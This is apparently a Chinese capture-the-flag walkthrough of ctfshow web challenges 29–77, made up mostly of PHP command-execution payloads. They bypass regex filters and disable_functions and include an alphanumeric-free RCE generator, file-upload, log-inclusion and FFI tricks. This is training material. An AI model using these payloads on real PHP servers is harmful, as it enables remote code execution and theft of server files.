文章目录
web 29
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
我这里只想到五种简便的方法:
通配符
payload1:c=system("nl fla?????");
payload2:c=system("nl fla*");
payload3:c=echo `nl fl''ag.php`;或者c=echo `nl fl“”ag.php`;
payload4:c=echo `nl fl\ag.php`;//转义字符绕过
payload5:c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
payload6:c=eval($_GET[1]);&1=system('nl flag.php');
payload7:c=awk '{printf $0}' flag.php||
还有很多姿势,毕竟等于没过滤
web 30
在上一道题的基础上多了system和php
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
但是我们可以用其他函数鸭
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec()
payload:
c=echo exec('nl fla?????');
c=echo `nl fla''g.p''hp`;
c=echo `nl fla?????`;
还有上一道题的很多payload都可以使用
web 31
过滤了cat\sort等
,空格也被过滤了尝试了一堆方法无果,尝试搞骚得
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
cat被过滤
more:一页一页的显示档案内容
less:与 more 类似 head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是
cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看 file -f:报错出具体内容 grep
1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings
payload:
c=eval($_GET[1]);&1=system('nl flag.php');
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
c=echo(`nl%09fl[abc]*`);
c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");等价于system()
c=echo`strings%09f*`;
c=echo`strings\$IFS\$9f*`必须加转义字符
还有其他姿势:
首先print_r(scandir(dirname(__FILE__)));
查看当前目录下文件
然后找到flag.php
print_r(next(array_reverse(scandir(dirname(__FILE__)))));
之后高亮显示即可
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
web32
小知识:include不用括号,分号可以用?>代替。
payload:
c=include$_GET[1]?>&1=php://filter/read=convert.base64-
encode/resource=flag.php
c=include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?>
c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
web33-36
payload:
c=include$_GET[a]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[a]?>&1=data://text/palin,<?php system("nl flag.php");?>
web37
payload
c=data://text/palin,<?php system("nl fla*");?>
还可以配合UA头执行日志包含
c=/var/log/nginx/access.log
web38
在上一道题的基础上过滤了php,和file
所以
c=data://text/palin;base64,PD9waHAgc3lzdGVtKCJubCBmbGEqIik7Pz4=
也可以日志包含
c=/var/log/nginx/access.log
web40
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
payload
?c=data://text/plain,<?php system(“cat f*”);?>
web41
代码审计,首先看到过滤了数字和字母,我们不难想到那一篇P神的无数字字母RCE,大家可以去看看羽师傅写的脚本,我在参考文章那里放了链接
这个题过滤了$、+、-、^、~
使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符|
。所以可以写脚本了
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
整理出了一个比较方便的脚本
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Y4tacker
# @Date: 2020-11-21 20:31:22
*/
//或
function orRce($par1, $par2){
$result = (urldecode($par1)|urldecode($par2));
return $result;
}
//异或
function xorRce($par1, $par2){
$result = (urldecode($par1)^urldecode($par2));
return $result;
}
//取反
function negateRce(){
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}
//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
if ($mode!=3){
$myfile = fopen("rce.txt", "w");
$contents = "";
for ($i=0;$i<256;$i++){
for ($j=0;$j<256;$j++){
if ($i<16){
$hex_i = '0'.dechex($i);
}else{
$hex_i = dechex($i);
}
if ($j<16){
$hex_j = '0'.dechex($j);
}else{
$hex_j = dechex($j);
}
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}else{
$par1 = "%".$hex_i;
$par2 = '%'.$hex_j;
$res = '';
if ($mode==1){
$res = orRce($par1, $par2);
}else if ($mode==2){
$res = xorRce($par1, $par2);
}
if (ord($res)>=32&ord($res)<=126){
$contents=$contents.$res." ".$par1." ".$par2."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
}else{
negateRce();
}
}
generate(2,'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i');
web42
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
/dev/null 2>&1,让所有的输出流(包括错误的和正确的)都定向到空设备丢弃
所以不能让后面执行,所以需要把后面截断ls;%0a
,后面不用多说了吧,还可以用%26
以及||
web43
和42没多大区别。。。。,过滤了catnl%20flag.php%0a
web44
过滤了flag
,没啥好说的通配符呗
c=nl%20fl*%0a
web45
多过滤了一个空格,总所周知php环境下可以用%09
代题空格
c=nl%09fl*%0a
或者使用内联执行
c=echo反引号nl\$IFS*反引号%0A
web46
多过滤了一些数字啥的,等于没来,然后过滤了flag也可以其他姿势\ '' ""
等等都行
c=nl%09fla\g.php%0a
还可以是,因为||
默认是前面成功则不执行后面
c=nl%09fla\g.php||
web47-48
过滤了一点命令等于没说
c=nl<fla''g.php||
web49
看了一眼,也就是多过滤了几个命令而已,这里当作练习多给点payload:
payload1:c=nl%09fla\g.php||
payload2:c=nl%09fla\g.php%0a
payload3:c=nl%09fla''g.php%0a
payload4:c=nl%09fla""g.php%0a
payload5:c=vi%09fla\g.php%0a
payload6:c=tac%09fla\g.php%0a
payload7:c=uniq%09fla\g.php%0a
payload8:c=nl<fla''g.php||
payload9:c=nl%09fla\g.php%26
web50
我看了一眼%09
被过滤了,除此之外也没啥新的基本上,随便来个payload进入下一关吧c=nl<fla\g.php||
web51
啊这,看了一眼%
也被过滤了,不过也没啥,还是上一道的payloadc=nl<fla\g.php||
web52
虽然很多能当空格的都被过滤了但是,$
却没有过滤,那么很明显了
c=nl$IFS\fla\g.php||
web53
感觉换了一个系列吧,这里随便来两个payload
payload1:c''at${IFS}fla''g.p''hp
payload2:c=nl$IFS\fla\g.php
payload3:
web54
加强了正则表达式,通配符就行了
c=/bin/c??${IFS}????????
c=/bin/c??$IFS????????
web55-56
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
然后有点懵逼,看看大师父们的方法吧
c=/???/????64 ????????
,这个不是通用的,因为base64不是每个机器都有
然后还有一个骚姿势,看P神的文章吧,参考链接有,真的牛,当然为了方便还是写了个脚本
import requests
while True:
url = "http://44875025-cec2-4154-8d87-34cbdcff5f27.chall.ctf.show/?c=.+/???/????????[@-[]"
r = requests.post(url, files={"file": ('1.php', b'cat flag.php')})
if r.text.find("flag") >0:
print(r.text)
break
web57
这道题的目的是构造36
这个数字,这里利用了$(( ))与整数运算
$(())------是-1
$((~37))------是36
所以我们只需要保证中间是-37即可,
$((~$(())$(())))---是1
所以
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))代表36,即可获取flag
web58
接下来的系列是绕过disable_functions系列,为了锻炼自己我决定多尝试几种姿势,都是从羽师傅那里学习到的,参考链接见下方
首先要获取文件路径,在这里我们可以用两种方式,我暂时想到这两种
c=print_r(scandir(dirname('__FILE__')));
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
因为没有任何过滤我们便可以读取任意的文件
c=$a=opendir("./"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };
//通过单一函数读取文件
c=echo file_get_contents("flag.php");
c=readfile("flag.php");
c=var_dump(file('flag.php'));
c=print_r(file('flag.php'));
//这里做一个解释`file — 把整个文件读入一个数组中`
通过fopen去读取文件内容,这里介绍下函数
fread()
fgets()
fgetc()
fgetss()
fgetcsv()
gpassthru()
payload:
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}//一行一行读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}//一个一个字符读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}
//通过高亮显示php文件
show_source("flag.php");
highlight_file("flag.php");
web59
首先查找flag文件的地址c=print_r(scandir('./'));
找到在当前目录下
//paylaod汇总
c=highlight_file("flag.php");
c=var_dump(file("flag.php"));
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}
c=$a=fopen("flag.php","r");echo fread($a,"1000");
c=$a=fopen("flag.php","r");echo fpassthru($a);
web60
首先查找flag文件的地址c=print_r(scandir('./'));
找到在当前目录下
//payload汇总
c=highlight_file("flag.php");
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}
同时记录一个,但是这道题不能用
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetss($a);echo $line;} //php7.3版本后 该函数已不再被使用
还有新姿势
//通过复制,重命名读取php文件内容(函数执行后,访问url/flag.txt)
copy()
rename()
//用法:
copy("flag.php","flag.txt"); //过60
rename("flag.php","flag.txt"); //过60
web61-65
为了熟悉学习新姿势c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}
或者c=print_r(scandir(current(localeconv())));
//payload:
c=show_source('flag.php');
c=highlight_file('flag.php');
c=highlight_file(next(array_reverse(scandir(current(localeconv())))));
web66-67
扫描目录c=var_dump(scandir("/"));
,发现是flag.txt
//下面是payload
c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');
c=highlight_file('/flag.txt');
web68-70
快乐第一步扫描目录c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
//payload介绍
c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');
web71
代码审计,这里先介绍几个函数
ob_get_contents — 返回输出缓冲区的内容
ob_end_clean — 清空(擦除)缓冲区并关闭输出缓冲
然后看这里有一句官方的介绍
此函数丢弃最顶层输出缓冲区的内容并关闭这个缓冲区。如果想要进一步处理缓冲区的内容,必须在ob_end_clean()之前调用ob_get_contents(),因为当调用ob_end_clean()时缓冲区内容将被丢弃。
作一个实验
<?php
$a = 'system("ls");';
eval($a);
//在网页中会输出内容
<?php
$a = 'system("ls");';
eval($a);
ob_get_contents();
ob_end_clean();
//
<?php
$a = 'system("ls");';
eval($a);
$c = ob_get_contents();
ob_end_clean();
echo $c;
//在这里则在网页当中没有输出内容,不难看出其取得了缓冲区的内容并清空了缓冲区
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
所以不难想出payloadc=require_once('/flag.txt');exit();
这里通过exit();
使程序提前退出,绕过后面的正则表达式
web72
<?php
$a = '?><?php echo 111;?>';
eval($a);
这里的?>是为了闭合前面<?php
payload:https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php
需要把里面的payload进行url编码
web73-74
第一步扫描目录
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);
payload:
c=include("/flagc.txt");exit(0);
c=require("/flagc.txt");exit(0);
c=require_once("/flagc.txt");exit(0);
web75-76
第一步扫描目录
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);
利用mysql load_file读文件
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);
web77
第一遍扫描目录c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);
然后发现下面有一个readflag
肯定是要调用这个,不会做,看了这个FFI拓展挺神奇的,说谁php7.4版本以上才有,大家想了解可以看看下面的参考链接
c=$ffi=FFI::cdef("int system(char *command);", "libc.so.6");$a='/readflag > 1.txt';$ffi->system($a);exit();
参考文章
CTF之命令执行绕过总结
CTF命令执行
nginx(一)之默认配置文件
ctfshow web入门 web41
无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)
命令执行漏洞进阶详解
无字母数字webshell之提高篇
LINUX中的点命令,或source命令,或点符号
无字母数字的命令执行(ctfshow web入门 55)
Linux—shell中
(
(
)
)
、
(( ))、
(())、( )、``与${ }的区别
ctfshow web入门58-77绕过disable function
PHP FFI详解 - 一种全新的PHP扩展方式